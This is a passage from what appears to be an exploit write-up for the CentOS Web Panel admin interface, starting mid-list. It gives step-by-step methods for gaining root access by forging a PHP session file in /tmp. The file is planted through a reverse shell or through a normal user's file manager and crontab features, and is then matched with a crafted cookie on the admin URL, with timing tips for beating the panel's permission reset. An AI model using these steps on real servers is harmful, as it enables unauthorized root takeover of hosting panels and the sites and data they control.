    2. Create session file through reverse shell

        echo "username|s:4:"root";logged|b:1;rkey|s:20:"[RKEY]";token|s:36:"[TOKEN-KEY]";" > /tmp/sess_123456

    3. On another browser, replace the token value in the URL https://[target.com]:2031/cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/admin/index.php
    4. Change file permission "chmod 664 /tmp/sess_123456"
    5. Create cookie name "cwsrp-xxxxxxxxxxxxxxxxxxxxx" and set its value to "123456" (sess_123456)
    6. Open the URL and become the root user


    #
    # Method 2 Uploading via File manager function
    #

    1. On the real target, login as a normal user on port 2083 and upload file "sess_123456" to /tmp directory and set permission to 644 (chmod 664 /tmp/sess_123456) via crontab feature
    2. On another browser, replace the token value in the URL https://[target.com]:2031/cwp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/admin/index.php
    3. Create cookie name "cwsrp-xxxxxxxxxxxxxxxxxxxxx" and set its value to "123456" (sess_123456)
    4. Open the URL and become the root user

    *From step 1 - 4 need doing it quickly. if we do it too slow, the application will change the permission of file sess_123456 to 600, and the file will become 0 byte. If this happened, attacker need to change session file name and repeat the steps again
